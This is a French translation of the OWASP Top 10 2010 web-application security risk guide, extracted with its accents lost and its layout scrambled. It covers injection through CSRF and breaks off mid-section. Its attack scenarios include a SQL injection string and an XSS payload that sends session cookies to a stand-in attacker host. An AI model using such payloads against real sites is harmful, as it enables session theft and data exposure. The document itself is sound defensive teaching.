O A propos de l'OWASP

Avant-propos

A propos de l'OWASP

Les logiciels peu srs portent dj atteinte nos

infrastructures critiques tant financires, que mdicales,
dfense, nergie ou autre. Notre infrastructure numrique
devenant de plus en plus complexe et interconnecte, la
difficult de parvenir une scurit applicative augmente
exponentiellement. Nous ne pouvons plus nous permettre de
tolrer les problmes de scurit pourtant relativement
simples tels ceux prsents dans le Top 10 de l'OWASP.

L'Open Web
communaut
dvelopper,
confiance.
gratuit)...

L'objectif du Top 10 est de promouvoir la sensibilisation

relative la scurit applicative en identifiant certains des
risques les plus critiques rencontrs par les entreprises. Le
Top 10 est rfrenc par de nombreuses normes, livres,
outils, et organismes, y compris le MITRE, PCI DSS, DISA, FTC
et beaucoup d'autres. Cette version du Top 10 de l'OWASP
marque la 8e anne de ce projet de sensibilisation propos
de l'importance des risques scurit applicatifs. Le Top 10 de
l'OWASP dont c'est la version 2010, a initialement t publi
en 2003, des mises jour mineures ayant t faites en 2004
et 2007.
Nous vous encourageons utiliser le Top 10 afin de
permettre votre entreprise dinitier une dmarche relative
la scurit applicative. Les dveloppeurs peuvent
apprendre des erreurs dautres entreprises. Les dirigeants
devraient commencer rflchir sur la faon de grer le
risque que les applications logicielles crent dans leur
entreprise.
Mais le Top 10 n'est pas un programme de scurit applicatif.
L'OWASP recommande que les organismes tablissent une
base solide de formation, de normes et d'outils qui rend la
programmation scurise possible. Sur cette base, les
entreprises doivent intgrer la scurit tant dans leur
processus de dveloppement, que dans la vrification et les
processus de maintenance. La direction peut utiliser les
donnes gnres par ces activits pour grer les cots et les
risques associs la scurit des applications.
Nous esprons le Top 10 utile vos efforts de scurisation
des applications. N'hsitez pas contacter l'OWASP pour
toutes questions, commentaires et ides, que ce soit
publiquement OWASP-TopTen@lists.owasp.org ou en priv
dave.wichers@owasp.org.
http://www.owasp.org/index.php/Top_10

Application Security Project (OWASP) est une

ouverte ddie aider les entreprises
acqurir et maintenir des applications de
l'OWASP, vous trouverez (en accs libre et

Outils et normes de scurit applicatifs

Livres entiers consacrs aux tests de scurit applicatifs,
programmation scurise et l'audit de code
Contrles de scurit standard et bibliothques
Chapitres locaux dans le monde
Recherche de pointe
Grandes confrences dans le monde entier
Mailing lists
Et beaucoup plus sur www.owasp.org
Tous les outils, documents, forums, et Chapitres de l'OWASP
sont gratuits et ouverts toute personne intresse par la
scurit des applications. Nous prconisons l'approche de la
scurit des applications en tant que problme global incluant
tant l'individu, les processus que la technologie, les approches
les plus efficaces pour la scurit des applications ncessitant
des amliorations dans tous ces domaines.
L'OWASP est une entreprise d'un nouveau type. Notre totale
libert et indpendance de pressions commerciales nous
permet de fournir des informations impartiales, pratiques et
rentables au sujet de la scurit des applications. L'OWASP
n'est affili aucune entreprise de technologie, bien que nous
soutenions l'utilisation claire de technologies commerciales
de scurit. Tout comme de nombreux projets de logiciels
open-source, l'OWASP produit de nombreux types de supports
dans un esprit collaboratif et ouvert.
La Fondation OWASP est une entit but non lucratif qui
s'assure de la russite long terme du projet. Pratiquement
toute personne associe l'OWASP est bnvole, y compris le
Conseil de l'OWASP, les Comits mondiaux, les Leaders de
Chapitres, les chefs de projet, et les membres du projet. Nous
soutenons la recherche innovante en scurit grce des
subventions et des infrastructures.
Rejoignez-nous!

Copyright et License
Copyright 2003 2010 The OWASP Foundation
Ce document est publi sous licence Creative Commons Attribution ShareAlike 3.0. Pour toute
rutilisation ou distribution, vous devez expliquer les conditions contractuelles de la licence de ce travail.

Introduction

Bienvenue
Cette mise jour importante prsente une liste plus concise oriente Risque des Dix Risques de Scurit Applicatifs Web les
Plus Critiques. Le Top 10 de l'OWASP a toujours t orient risque, mais cette mise jour rend ceci beaucoup plus clair par
rapport aux ditions prcdentes. Il fournit galement des informations supplmentaires sur la faon d'valuer ces risques pour
vos applications.
Pour chaque item du Top 10, cette version prsente la probabilit globale ainsi que les facteurs de consquence utiliss pour
classer la gravit spcifique du risque. Il prsente ensuite des indications sur la faon de vrifier si vous avez des problmes dans
le domaine, comment les viter, quelques exemples de failles, ainsi que des pointeurs pour plus d'informations.
L'objectif principal du Top 10 de l'OWASP est d'duquer les dveloppeurs, concepteurs, architectes, managers, et les entreprises
au sujet des consquences des faiblesses les plus importantes inhrentes la scurit des applications web. Le Top 10 fournit des
techniques de base pour se protger contre ces domaines problmatiques haut risque - et fournit galement des conseils sur la
direction suivre.

Avertissements

Remerciements

Ne vous arrtez pas 10. Il y a des centaines de problmes

qui pourraient influer sur la scurit globale d'une
application web comme indiqu dans le Guide du
dveloppeur de l'OWASP. C'est une lecture essentielle pour
quiconque dveloppe des applications web aujourd'hui. Des
conseils sur la manire de trouver des vulnrabilits dans les
applications web sont fournis dans le Guide de Test et le
Guide d'audit de Code, tous deux considrablement mis
jour depuis la version prcdente du Top 10 de l'OWASP.

Nos remerciements Aspect Security pour avoir initi, pilot,

et mis jour le Top 10 de lOWASP depuis sa cration en 2003,
et ses principaux auteurs: Jeff Williams et Dave Wichers.

Changement constant. Ce Top 10 voluera dans le temps.

Mme sans modifier une seule ligne de code de votre
application, vous pouvez tre dj vulnrable quelque
chose dont personne n'a jamais pens auparavant. Veuillez
prendre connaissance des conseils la fin du Top 10 dans les
sections relatives aux dveloppeurs, vrificateurs et
organismes pour plus d'informations.
Pensez positif. Quand vous serez prt arrter de chasser
les vulnrabilits et vous concentrer sur l'tablissement de
solides contrles de scurit des applications, l'OWASP vient
d'laborer le Standard de Vrification de Scurit Applicative
(SPVS) comme guide pour les entreprises et les auditeurs
d'application sur ce qu'il faut vrifier.
Utilisez les outils sagement. Les failles de scurit peuvent
tre complexes et enfouies sous des montagnes de code.
Dans la plupart des cas, l'approche la plus rentable pour
trouver et liminer ces faiblesses reste lhumain arm de
bons outils.
Allez plus loin. La scurisation d'applications web est
possible seulement quand un cycle de vie de dveloppement
scuris de logiciel est employ. Pour des conseils sur
l'implmentation dun SDLC scuris, nous avons rcemment
publi le Open Software Assurance Maturity Model (SAMM),
qui est une mise jour importante du Projet CLASP.

Nous voudrions remercier les entreprises qui ont contribu

supporter la mise jour 2010 en fournissant leur donnes sur
la frquence de vulnrabilit:

Aspect Security
MITRE CVE
Softtek
WhiteHat Security Inc. Statistics

Nous voudrions aussi remercier ceux ayant contribu par leur

contenu significatif ou la relecture de cet update du Top 10:

Mike Boberski (Booz Allen Hamilton)

Juan Carlos Calderon (Softtek)
Michael Coates (Aspect Security)
Jeremiah Grossman (WhiteHat Security Inc.)
Jim Manico (for all the Top 10 podcasts)
Paul Petefish (Solutionary Inc.)
Eric Sheridan (Aspect Security)
Neil Smithline (OneStopAppSecurity.com)
Andrew van der Stock
Colin Watson (Watson Hall, Ltd.)
OWASP Denmark Chapter (Led by Ulf Munkedal)
OWASP Sweden Chapter (Led by John Wilander)

RN

Notes concernant cette version

Quels sont les changements de 2007 2010?

Le paysage des menaces sur les applications Internet est en perptuel changement. Les facteurs clefs dans cette volution sont
les progrs effectus par les attaquants, lessor de nouvelles technologies, tout comme le dploiement de systmes de plus en
plus complexes. Pour suivre les volutions, LOWASP Top10 est constamment mis jour. Dans cette version 2010, nous avons
effectu trois changements significatifs :
1) Pour clarifier les choses, le Top10 devient le Top10 des risques, et non pas le Top10 des vulnrabilits les plus communes.
Voire les dtails concernant les Risques de Scurit des Applications en page suivante.
2) Nous avons chang la mthodologie de classement pour estimer le risque, plutt que de se baser seulement sur la frquence
de la vulnrabilit associe. Cela affecte le classement du Top10, comme vous pouvez le voir dans le tableau ci-dessous.
3) Nous avons remplac deux lments de la liste prcdente par deux nouveaux risques :
+

AJOUT: A6 Mauvaise configuration scurit. Cet lment tait prsent dans le Top10 2004 en position A10 :Gestion
de configuration non scurise , mais avait t retir en 2007, car il ntait pas considr comme un problme logiciel.
Nanmoins, dun point de vue risque au sein dune organisation et du nombre de cas, il mrite clairement son retour
dans le Top10; il est donc de nouveau prsent.
AJOUT: A10 Redirections et Renvois non valids. Ce problme apparat dans ce Top10. Preuve quil est relativement
mal connu mais trs rpandu et quil peut avoir des consquences importantes..

RETIRE: A3 Excution de fichier malicieux. Cest un problme toujours important dans beaucoup denvironnements.
Mais le nombre de cas important en 2007, tait du un nombre important dapplications PHP vulnrables. PHP est
maintenant fourni avec une configuration par dfaut plus scurise rduisant directement ce cas.

RETIRE: A6 Fuite dinformations et traitement derreur incorrect. Cest un problme trs rpandu, mais limpact de
laffichage des traces dappels des fonctions et des messages derreurs est souvent minimal. Avec lajout de Mauvaise
configuration scurit cette anne, la gestion des erreurs via une configuration correcte est une partie importante de la
configuration scurit de vos applications et serveurs.

OWASP Top 10 2007 (Prcdent)

OWASP Top 10 2010 (Nouveau)

A2 Failles dinjection

A1 Injection

A1 Cross Site Scripting (XSS)

A2 Cross-Site Scripting (XSS)

A3 Violation de Gestion dauthentification et de Session

A3 Violation de Gestion dauthentification et de Session

A4 Rfrences directes non scurises un objet

A4 Rfrences directes non scurises un objet

A5 Falsification de requte intersite (CSRF)

A5 Falsification de requte intersite (CSRF)

<anciennement T10 2004 A10 Gestion de configuration non

scurise>

A6 Mauvaise configuration scurit (NOUVEAU)

A8 Stockage cryptographique non scuris

A7 Stockage cryptographique non scuris

A10 Manque de restriction daccs une URL

A8 Manque de restriction daccs une URL

A9 Communications non scurises

A9 Protection insuffisante de la couche transport

<non prsent dans le T10 2007>

A10 Redirection et Renvois non valids (NOUVEAU)

A3 Excution de fichier malicieux

<retir du T10 2010>

A6 Fuite dinformations et traitement derreur incorrect

<retir du T10 2010>

Risque Risques applicatifs scurit

Quest-ce quun risque de scurit applicatif?
Les attaquants peuvent potentiellement utiliser beaucoup de cheminements diffrents travers votre application pour porter
atteinte votre mtier ou votre entreprise. Chacun de ces chemins reprsente un risque plus ou moins srieux pouvant
mriter votre attention.
Menaces

Vecteurs
dattaques

Vulnrabilit

Attaque

Faiblesse

Contrles de
Scurit

Impacts
Technique

Impacts
Mtier
Impact

Contrle
Actif

Attaque

Faiblesse

Impact

Contrle
Fonction

Attaque

Faiblesse

Impact
Actif

Faiblesse

Contrle

Parfois ce chemin est extrmement simple dcouvrir et exploiter, parfois extrmement difficile. De la mme manire le
prjudice peut tre trs faible tout comme mettre en pril votre entreprise. Pour dterminer le risque pour votre entreprise,
vous pouvez valuer la probabilit associe lie chaque menace, vecteur d'attaque et faiblesse de scurit, et la combiner avec
une valuation de l'impact technique et mtier votre entreprise. Lensemble de ces facteurs dtermine le risque global.

Rfrences

Quel est mon risque?

Cette mise jour du OWASP Top 10 se focalise sur lIdentification des risques les
plus srieux pour un large ventail dentreprises. Pour chacun de ces risques, nous
fournissons une information gnrique propos de la vraisemblance et de limpact
technique en utilisant le schma de classification simple suivant, qui est bas sur la
mthodologie de classement du risque de lOWASP.
Agent de
Menace

Vecteur
dattaque

Vraisemblance
de la
vulnrabilit

Dtection
de la
vulnrabilit

Impact
Technique

Simple

Trs rpandue

Simple

Svre

Moyen

Commune

Moyen

Modr

Difficile

Rare

Difficile

Mineur

Impact
Mtier

OWASP
Mthodologie de classement du risque
de lOWASP
Article sur la modlisation des
Menaces et du risque

Externes

Toutefois, il ny a que vous qui connaissez les spcificits de votre environnement

et de votre mtier. Pour une application donne, il peut ne pas y avoir dagent de
menace permettant deffectuer lattaque ou limpact technique peut ne pas avoir
de consquence. Par consquent il est ncessaire que vous valuiez vous mme le
risque en vous focalisant sur les agents de menaces, contrles de scurit et
impacts mtiers de votre entreprise.
Bien que les prcdentes versions de lOWASP Top10 mettent laccent sur les
vulnrabilits les plus communes, elles ont galement t conues dans une
optique Risque. L'intitul de chacun des risques du Top10 dcoule de la typologie
de l'attaque, la faiblesse exploite ou du type d'impact caus. Nous avons retenu
les intituls les plus frquemment utiliss dans le but de sensibiliser au mieux.

FAIR Information Risk Framework

La modlisation des menaces
Microsoft (STRIDE et DREAD)

T10

OWASP Top 10 - 2010

Risques Applicatifs Scurit

A1 Injection

Une faille d'injection, telle l'injection SQL, OS et LDAP, se produit quand une donne non fiable
est envoye un interprteur en tant qu'lment d'une commande ou d'une requte. Les
donnes hostiles de l'attaquant peuvent duper l'interprteur afin de l'amener excuter des
commandes fortuites ou accder des donnes non autorises.

A2 Cross-Site
Scripting (XSS)

Les failles XSS se produisent chaque fois qu'une application prend des donnes non fiables et les
envoie un browser web sans validation approprie. XSS permet des attaquants d'excuter du
script dans le navigateur de la victime afin de dtourner des sessions utilisateur, dfigurer des
sites web, ou rediriger l'utilisateur vers des sites malveillants.

A3 - Violation de
Gestion
d'Authentification
et de Session

Les fonctions applicatives relatives l'authentification et la gestion de session ne sont souvent

pas mises en uvre correctement, permettant aux attaquants de compromettre les mots de
passe, cls, jetons de session, ou d'exploiter d'autres failles d'implmentation pour s'approprier
les identits d'autres utilisateurs..

A4 - Rfrences
directes non
scurises un
Objet

Une rfrence directe un objet se produit quand un dveloppeur expose une rfrence un
objet d'excution interne, tel un fichier, un dossier, un enregistrement de base de donnes, ou
une cl de base de donnes. Sans un contrle d'accs ou autre protection, les attaquants peuvent
manipuler ces rfrences pour accder des donnes non autorises..

A5 - Falsification de
requte intersite
(CSRF)

Une attaque CSRF (Cross Site Request Forgery) force le navigateur d'une victime authentifie
envoyer une requte HTTP forge, comprenant le cookie de session de la victime ainsi que toute
autre information automatiquement inclue, une application web vulnrable. Ceci permet
l'attaquant de forcer le navigateur de la victime gnrer des requtes dont l'application
vulnrable pense qu'elles manent lgitimement de la victime

A6 - Mauvaise
configuration
Scurit

Une bonne scurit exige d'avoir une configuration scurise dfinie et dploye pour
l'application, les contextes, serveur d'application, serveur web, serveur de base de donnes, et la
plate-forme. Tous ces paramtres doivent tre dfinis, mis en uvre, et maintenu afin de ne pas
comprendre de failles de scurit. Ceci inclut de maintenir tous les logiciels jour, y compris
toutes les bibliothques de code employes par l'application.

A7 - Stockage
Cryptographique
non Scuris

Beaucoup d'applications web ne protgent pas correctement les donnes sensibles, telles que les
cartes de crdit, SSNs, les informations d'authentification, avec un chiffrement ou un hash
appropri. Les pirates peuvent voler ou de modifier ces donnes faiblement protges pour
perptrer un vol d'identit et d'autres crimes, tels que la fraude la carte de crdit.

A8 - Manque de
Restriction dAccs
URL

Beaucoup d'applications web vrifient les droits d'accs URL avant de rendre les liens protgs.
Cependant, les applications doivent effectuer des contrles d'accs similaires chaque fois que ces
pages sont accdes, ou les attaquants seront en mesure de forger des URL pour accder ces
pages caches de toute faon.

A9 - Protection
insuffisante de la
couche Transport

Les applications ont souvent du mal authentifier, chiffrer et protger la confidentialit et

l'intgrit dun trafic rseau sensible. Quand elles le font, elles supportent parfois des
algorithmes faibles, utilisent des certificats expirs ou invalides, ou ne les emploie pas
correctement.

A10 - Redirections
et Renvois non
valids

Les applications web rorientent et font suivre frquemment les utilisateurs vers d'autres pages
et sites web, et utilisent des donnes non fiables pour dterminer les pages de destination. Sans
validation approprie, les attaquants peuvent rediriger les victimes vers des sites de phishing ou
de logiciel malveillant, ou utiliser les renvois pour accder des pages non autorises.

A1
Agents de Menace

Injection
Vulnrabilit
de scurit

Vecteurs
dattaque

__________

Exploitation
SIMPLE

Considrer toute
personne en
mesure de
soumettre des
donnes non fiables
au systme, y
compris les
utilisateurs
externes, internes,
et les
administrateurs.

Lattaquant envoie
un simple texte
exploitant la
syntaxe de
linterprteur cibl.
Presque toute
source de donne
peut tre un
vecteur dinjection,
y compris les
sources internes.

Prvalence
COMMUNE

Impacts
mtier

Impacts
technique

Dtection
MOYENNE

Les failles d'injection ont lieu lorsquune

application envoie des donnes non
contrles un interprteur. Les failles
dinjection sont extrmement rpandues,
particulirement dans les codes existants,
trs souvent dans les requtes SQL, LDAP,
XPath, les commandes systmes, les
arguments de programme, etc. Les failles
dinjections sont simple dcouvrir en
examinant le code, mais plus difficile via
des tests. Les scanners et fuzzers peuvent
aider un attaquant les dcouvrir.

Impact
SEVERE
Une injection peut
mener de la perte
ou corruption de
donnes, perte de
traabilit ou du
dni daccs. Elle
peut mener parfois
jusqu la prise de
contrle total du
serveur.

__________
Considrer la valeur
mtier de la
donnes affecte et
de la plateforme
excutant
linterprteur.
Toute donne peuttre vole, modifie
ou efface. Votre
image de marque
peut-elle tre
entache?

Suis-je vulnrable?

Comment empcher cette attaque?

La meilleure faon de vrifier quune application est

vulnrable de linjection est de vrifier que les
interprteurs sparent bien les donnes non contrles de
la requte ou de la commande excute. Pour SQL, il sagit
dutiliser les mcanismes de requtes prpares via des
variables de liaison dans toutes les requtes ou procdures
stockes et dviter les requtes dynamiques.

Prvenir une injection ncessite de sparer les donnes non

contrles des requtes ou des commandes.

Vrifier le code est une manire rapide et prcise de voir si

lapplication utilise des interprteurs de manire scurise.
Les outils danalyse de code peuvent aider un analyste
scurit dcouvrir l utilisation des interprteurs et tracer
le flux de donnes travers lapplication. Les testeurs
peuvent valider ces failles en crant des codes
dexploitation qui confirme la vulnrabilit.

1. La meilleure option consiste utiliser une API scurise qui

permet de se passer de linterprteur ou qui fournit une
interface de paramtrage des requtes. Mfiez vous des API,
comme les procdures stockes, qui sont paramtres mais qui
peuvent introduire des injections en profondeur.
2. Si vous ne disposez pas dune API de paramtrage des
requtes, vous devez faire extrmement attention chapper
les caractres spciaux en utilisant la syntaxe particulire de
linterprteur. LESAPI de lOWASP dispose de certaines routines
d'chappement.

Les Scanners automatiss peuvent donner un aperu

dinjections connues. Les scanners ne peuvent pas toujours
dcouvrir les interprteurs et ont des difficults dtecter
une attaque russie. Une mauvaise gestion des erreurs
permet de dcouvrir plus facilement les failles dinjection.

3. La validation des entres par des listes blanches ou

positives avec une canonisation correcte est recommande,
mais nest pas le seul moyen de dfense car certaines
applications ncessitent des caractres spciaux en entre. L
OWASPs ESAPI dispose dune librairie extensible de routines de
validation de type "liste blanche"

Exemple de scnario dattaque

Rfrences

Lapplication utilise des donnes non contrles dans la

construction de la requte SQL vulnrable suivante :

OWASP

String query = "SELECT * FROM accounts WHERE

custID='" + request.getParameter("id") +"'";
Lattaquant modifie le paramtre id dans son navigateur
pour envoyer: ' or '1'='1. Cela change le rsultat de la
requte qui renvoie alors toutes les donnes de compte de
la base, au lieu de lunique du client.
http://example.com/app/accountView?id=' or '1'='1

Dans le pire des cas, lattaquant utilise cette vulnrabilit

pour invoqu des procdures stockes spciales de la base
de donnes qui lui permettent de prendre le contrle total
du serveur hbergeant la base.

OWASP SQL Injection Prevention Cheat Sheet

OWASP Injection Flaws Article
ESAPI Encoder API
ESAPI Input Validation API
ASVS: Output Encoding/Escaping Requirements (V6)
OWASP Testing Guide: Chapter on SQL Injection Testing
OWASP Code Review Guide: Chapter on SQL Injection
OWASP Code Review Guide: Command Injection

Externes
CWE Entry 77 on Command Injection
CWE Entry 89 on SQL Injection

A2
Agents de Menace

__________
Considrer toute
personne en
mesure de
soumettre des
donnes au
systme. Ceci inclut
les utilisateurs
externes, internes,
et les
administrateurs.

Cross-Site Scripting (XSS)

Vulnrabilit
de scurit

Vecteurs
dattaque

Exploitation
MOYENNE
Lattaquant soumet
un contenu actif
lapplication,
qui
sera retourn au
navigateur de la
victime.
Toute
source de donnes
externes
peut
devenir un vecteur
d'attaque, telle que
la base de donnes.

Prvalence
TRES REPANDU

Impacts
technique

Impacts
mtier

Impact
MODERE

__________

Lattaquant
peut
excuter un script
dans le navigateur
de la victime afin de
rediriger le client,
voler les identifiants
de session, installer
un
programme
dfigurer le site,
etc.

Considrer
l'importance du
systme affect
pour l'activit, ainsi
que les donnes
traites par ce
dernier. Considrer
galement l'impact
d'une divulgation
de la vulnrabilit.

Dtection
FACILE

XSS est la faiblesse de scurit la plus

rpandue dans les applications web. Les
failles XSS ont lieu lorsque lapplication
gnre des pages contenant des donnes
soumises par le client sans les avoir
valides ou chappes au pralable. Trois
types majeurs de XSS sont recenss: 1)
stored, 2) reflected 3) DOM based. Les
failles XSS sont facilement dtectables au
moyen des tests de scurit ou lanalyse
du code source.

Suis-je vulnrable?

Comment empcher cette attaque?

Vous devez vous assurer que toute donne soumise par un

utilisateur est correctement valide et chappe (output
encoding) avant d'tre incluse dans la page retourne aux
client. Un encodage fiable garantira que le contenu retourn
au navigateur sera trait comme du texte, et non du contenu
actif pouvant tre excut.

La prvention contre les XSS consiste sassurer quaucune

donne utilisateur ne puisse tre traite par le navigateur
comme du contenu excutable.

Les outils danalyse statique et dynamique peuvent identifier

les XSS de faon automatise. Toutefois, chaque application
construit les pages diffremment et fait parfois appel des
interprteurs divers tels que JavaScript, ActiveX, Flash,
Silverlight, etc., rendant la dtection automatique plus
complexe. La vrification complte requiert la combinaison
d'une approche manuelle (revue de code/test dintrusion)
avec une approche automatise.

Les technologies Web 2.0, telles que AJAX, rendent plus

complexe la dtection de vulnrabilit XSS.

1.Echapper toute donne non fiable retourne au navigateur,

selon son contexte final: corps de la page, attribut HTML,
script JavaScript, dclaration de style CSS, lien/URL, etc. Les
dveloppeurs prennent en charge l'chappement lorsque le
Framework ne le fait pas automatiquement. Consulter
OWASP XSS Prevention Cheat Sheet pour plus d'informations
techniques.
2.La validation positive ou "blanche", la mise en forme
canonique et la conversion vers lencodage appropri
constituent des dfenses efficaces mais pas infaillibles contre
les XSS en raison des nombreuses manires dont les
applications traitent leurs contenus. Seule une validation
totale de la donne (mise en forme canonique, type,
longueur, rgles mtier, etc.) est efficace.

Exemple de scnarios dattaque

Rfrences

Dans l'exemple ci-aprs, l'application rutilise des donnes

soumises dans la requte par l'utilisateur pour laborer du
contenu HTML, sans les valider ou les chapper au pralable:

OWASP

(String) page += "<input name='creditcard' type='TEXT

value='" + request.getParameter("CC") + "'>";
L'attaquant peut alors construire une requte attribuant au
champ 'CC' la valeur suivante:
http://example.com/?CC='><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.
L'excution de cette requte dans le navigateur de la victime
dclenchera l'envoi de l'identifiant de session (session ID) sur
le serveur de l'attaquant, lui permettant ainsi d'oprer un vol
de la session en cours. Il est prciser que la prsence d'une
faille XSS rend gnralement inoprantes les dfenses contre
les attaques CSRF (voir fiche A5 pour plus d'informations).

OWASP XSS Prevention Cheat Sheet

OWASP Cross-Site Scripting Article
ESAPI Project Home Page
ESAPI Encoder API
ASVS: Output Encoding/Escaping Requirements (V6)
ASVS: Input Validation Requirements (V5)
Testing Guide: 1st 3 Chapters on Data Validation Testing
OWASP Code Review Guide: Chapter on XSS Review

Autres rfrences
CWE Entry 79 on Cross-Site Scripting
RSnakes XSS Attack Cheat Sheet

Violation de Gestion
dauthentification et de Session

A3
Agents de Menace

Vulnrabilit
de scurit

Vecteurs
dattaque

__________

Exploitation
MOYENNE

Considrer les accs

anonymes ainsi que
les utilisateurs
tenter d'accder
d'autres comptes.
Considrer
galement les
collaborateurs
souhaitant oprer
sous une autre
identit.

L'attaquant exploite
des fuites ou
faiblesses des
gestionnaires de
sessions et
d'authentification
(ex: comptes
exposs, mots de
passes, jetons de
session) pour
usurper l'identit.

Prvalence
REPANDU

Dtection
MOYENNE

Les dveloppeurs peuvent tre tents de

crer leur propre gestionnaire de sessions
et d'authentification, mais il s'agit d'une
tche complexe. Il en rsulte souvent des
implmentations contenant des faiblesses
de scurit dans des fonctions telles que:
la dconnexion, les fonctions lies au
stockage et la rcupration des mots de
passes, la gestion des profils, etc. La a
diversit des implmentations rend la
recherche de vulnrabilits complexe.

Suis-je vulnrable?

Impacts
technique

Impacts
mtier

Impact
SEVERE

__________

En exploitant ces
faiblesses, un
attaquant accde
au systme sous
une autre identit
et en obtient les
privilges. Les
comptes privilgis
sont viss en
priorit.

Considrer la valeur
marchande ou
confidentielle des
donnes ou des
fonctions exposes.
Considrer
galement l'impact
d'une divulgation
de la vulnrabilit.

Comment empcher cette attaque?

Les identifiants des utilisateurs et les ID de session doivent

tre protgs en priorit.

La recommandation principale est de mettre les lments

suivants disposition des dveloppeurs:

1.Les identifiants sont ils stocks au moyen de fonctions

cryptographiques de chiffrement ou hachage? (Voir A7)

1.

2.Peut-on deviner/modifier des identifiants via la gestion des

comptes (ex.: cration de compte, ID de session faible,
changement/rcupration de mot de passe)

a)

3.L'ID de session apparait-il dans l'URL ?

5.L'ID de session expire-t-il? Peut-on se dconnecter ?

7.Les identifiants sont-ils transmis de faon scurise?

satisfaire aux exigences dfinies dans Application

Security Verification Standard (ASVS) , aux sections
V2 (authentification) et V3 (sessions).

b) exposer une interface unique aux dveloppeurs. Les

librairies ESAPI Authenticator and User APIs peuvent
servir de modle, voire, de rfrence.

4.L'ID de session est-il expos aux session fixation?

6.L'ID de session est-il rgnr aprs l'authentification?

Un ensemble unique de contrles destins la gestion

des sessions et des authentifications. De tels contrles
s'efforceront de:

2.

Mettre en uvre des mesures efficaces pour viter les

failles XSS, particulirement utilises pour voler les ID de
session. Voir A2.

Consulter l'ASVS aux chapitres V2, V3 pour plus de dtails.

Exemple de scnarios dattaque

Rfrences

Scenario #1: Le systme de rservation d'une compagnie

arienne rcrit les URLs en y plaant le jeton de session:

OWASP

http://example.com/sale/saleitems;jsessionid=
2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii

Pour une liste dtaille des recommandations et problmes

viter, consulter les exigences du guide ASVS aux chapitres
V2 (Authentification) et V2 (Sessions).

Un utilisateur authentifi souhaite recommander une offre

ses amis. Il leur envoie le lien par e-mail, sans savoir qu'il y
inclut l'ID de session. Quand les amis cliquent le lien, ils
rcuprent sa session, ainsi que ses donnes de paiement.

OWASP Authentication Cheat Sheet

Scenario #2: Un site sur lequel l'expiration des sessions n'est

pas correctement applique. Un utilisateur s'y authentifie
depuis un ordinateur public, puis ferme le navigateur avant
de s'en aller. Une heure aprs, un attaquant relance le
navigateur et accde la session reste ouverte.

OWASP Development Guide: Chapter on Authentication

Scenario #3: Un attaquant externe, ou interne, obtient l'accs

la base de donnes des mots de passes. Ces derniers ne
sont pas chiffrs, exposant ainsi tous les utilisateurs.

Autres rfrences

ESAPI Authenticator API

ESAPI User API

OWASP Testing Guide: Chapter on Authentication

CWE Entry 287 on Improper Authentication

Rfrences directes
non scurises un objet

A4
Agents de Menace

__________

Considrer les
typologies
d'utilisateurs du
systme. Les
utilisateurs sont-ils
soumis des
restrictions d'accs
selon les types de
donnes accessibles
dans l'application?

Vulnrabilit
de scurit

Vecteurs
dattaque

Exploitation
FACILE

L'attaquant ayant
accs au systme
remplace la valeur
d'un paramtre
identifiant une
ressource par une
autre valeur
existante.
Aura-t-il accs
cette ressource?

Prvalence
REPANDU

Dtection
FACILE

Les applications incluent souvent les

identifiants techniques des ressources (ID,
cl, etc.) au sein des pages web gnres.
Lorsque le contrle d'accs n'est pas
effectu chaque fois que l'utilisateur
demande l'accs une ressource
particulire, il peut en rsulter des
rfrences directes non scurises. Les
testeurs peuvent facilement valuer la
prsence de cette vulnrabilit via les
tests de scurit ou l'analyse de code.

Suis-je vulnrable?

Impacts
technique

Impacts
mtier

Impact
MODERE

__________

Les
ressources
identifies par le
paramtre
vulnrable
sont
compromises. Seuls
des
identifiants
flous ou alatoires
(ex: table d'index,
GUID) empchent
l'attaquant
de
deviner les valeurs.

Considrer la valeur
marchande des
donnes exposes.
Considrer
galement l'impact
d'une divulgation
de la vulnrabilit.

Comment empcher cette attaque?

Le meilleur moyen de vrifier la prsence de rfrences

directes non scurises est de vrifier que chaque paramtre
rfrenceur dispose de dfenses appropries. Considrer:

Deux approches existent pour empcher la prsence de

rfrences directes non scurises (ex: noms de fichiers,
identifiants de ressources):

1. Pour les rfrences directes des ressources protges,

l'application doit s'assurer que l'utilisateur est autoris
accder la ressource prcisment demande.

1. Implmenter des rfrences indirectes, par utilisateur ou

par session. Au lieu d'exposer l'identifiant de la base de
donnes (ID) dans la page web, le dveloppeur va proposer
une liste indexe de 1 6. L'utilisateur choisit l'lment selon
cette liste et l'application effectuera l'association vers la
rfrence directe ct serveur. La librairie ESAPI de l'OWASP
propose des mthodes facilitant la mise en uvre de telles
listes, squences ou alatoires.

2. Si la rfrence est indirecte, l'association vers la rfrence

directe doit tre strictement limite aux seules valeurs
autorises pour l'utilisateur.
La revue du code de l'application peut rapidement identifier
une implmentation sre de l'une ou l'autre des approches.
Le test de scurit est galement efficace dans la recherche
de rfrences directes vulnrables. Les outils automatiss ne
sont gnralement pas en mesure de reprer cette faiblesse
dans la mesure o ils ne peuvent qualifier la nature protge
ou non d'une ressource.

2. Contrler l'accs. Pour chaque tentative d'accs une

ressource selon sa rfrence directe, l'application effectuera
un contrle d'accs complet afin de s'assurer que l'utilisateur
peut accder la ressource.

Exemple de scnario dattaque

Rfrences

L'application utilise un paramtre non valid pour construire

la requte SQL d'accs aux informations d'un compte: :

OWASP

String query = "SELECT * FROM accts WHERE account = ?";

PreparedStatement pstmt =
connection.prepareStatement(query , );
pstmt.setString( 1, request.getparameter("acct"));
ResultSet results = pstmt.executeQuery( );
Si l'attaquant remplace simplement la valeur du paramtre
acct dans son navigateur par une autre valeur, l'application
lui retournera les dtails d'un compte potentiellement non
autoris:
http://example.com/app/accountInfo?acct=notmyacct

OWASP Top 10-2007 on Insecure Dir Object References

ESAPI Access Reference Map API
ESAPI Access Control API (Voir isAuthorizedForData(),
isAuthorizedForFile(), isAuthorizedForFunction() )

Pour une liste de contrles additionnels, consulter le guide

ASVS (V4 - Requirements area for Access Control)

Autres rfrences
CWE Entry 639 on Insecure Direct Object References
CWE Entry 22 on Path Traversal (exemple d'attaque sur des
rfrences directes non scurises)

Falsification de requte
intersite (CSRF)

A5

.
Agents de Menace

Vulnrabilit
de scurit

Vecteurs
dattaque

__________

Facilit
MOYENNE

Considrez un
individu pouvant
djouer vos
utilisateurs en
soumettant une
requte votre site.
Nimporte quel site
ou autre source
HTML que vos
utilisateurs
accdent pourrait le
faire.

Lattaquant forge
une requte HTTP
et amne une
victime la
soumettre via une
balise dimage, XSS,
ou de nombreuses
